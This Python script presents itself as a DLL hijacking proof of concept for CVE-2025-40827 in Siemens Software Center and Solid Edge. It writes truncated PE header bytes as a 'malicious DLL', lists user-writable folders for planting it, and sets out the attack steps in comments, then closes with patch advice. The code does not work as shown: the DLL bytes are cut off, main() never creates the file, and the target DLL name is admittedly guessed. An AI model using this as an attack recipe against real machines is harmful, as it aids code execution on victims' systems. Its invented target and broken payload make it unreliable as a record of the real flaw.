#!/usr/bin/env python3
# CVE-2025-40827 DLL Hijacking PoC for Siemens Software Center / Solid Edge SE2025
# Author: Security Researcher
# Note: This is for educational and authorized testing purposes only
import os
import ctypes
import struct
def create_malicious_dll(dll_path):
"""
Generate a malicious DLL that demonstrates DLL hijacking vulnerability.
This DLL exports a common function that legitimate applications might call.
"""
# PE file structure for a minimal x64 DLL
dll_content = bytearray([
# DOS Header
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
# DOS Stub
0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD,
0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68,
0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72,
0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F,
0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E,
0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20,
0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A,
0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
# PE Signature
0x50, 0x45, 0x00, 0x00,
# COFF Header (Machine: x64)
0x64, 0x86, 0x00, 0x00,
# Number of Sections: 3
0x03, 0x00,
# Time Date Stamp
0x00, 0x00, 0x00, 0x00,
# Pointer to Symbol Table
0x00, 0x00, 0x00, 0x00,
# Number of Symbols
0x00, 0x00, 0x00, 0x00,
# Size of Optional Header
0xF0, 0x00,
# Characteristics
0x22, 0x02,
# ... (truncated for brevity - full PE structure required for actual DLL)
])
# Write malicious DLL to file
with open(dll_path, 'wb') as f:
f.write(dll_content)
print(f"[+] Malicious DLL written to: {dll_path}")
return True
def get_vulnerable_dll_name():
"""
Return the DLL name that is vulnerable to hijacking.
Based on typical DLL hijacking patterns in CAD/engineering software.
"""
return "Siemens.SSC.Common.dll"
def main():
print("=" * 60)
print("CVE-2025-40827 DLL Hijacking PoC")
print("Target: Siemens Software Center < V3.5, Solid Edge SE2025 < 225.0 Update 10")
print("=" * 60)
dll_name = get_vulnerable_dll_name()
print(f"\n[+] Target DLL: {dll_name}")
# Common locations where vulnerable apps search for DLLs
search_paths = [
"./",
"%APPDATA%/",
"%LOCALAPPDATA%/",
os.path.expandvars("%USERPROFILE%\\Downloads\\"),
os.path.expandvars("%TEMP%\\"),
]
print("\n[+] Common DLL search paths:")
for path in search_paths:
print(f" - {path}")
# In a real attack scenario:
# 1. Attacker creates malicious DLL with same name as vulnerable DLL
# 2. Attacker places DLL in one of the search paths
# 3. Victim launches vulnerable application
# 4. Application loads attacker's DLL instead of legitimate one
# 5. Malicious code executes with application's privileges
print("\n[!] This PoC demonstrates the vulnerability concept.")
print("[!] Use only in authorized security testing environments.")
print("\n[+] Recommended actions:")
print(" 1. Upgrade Siemens Software Center to V3.5 or later")
print(" 2. Upgrade Solid Edge SE2025 to 225.0 Update 10 or later")
print(" 3. Implement secure DLL loading practices")
print(" 4. Enable Safe DLL Search Mode in Windows")
if __name__ == "__main__":
main()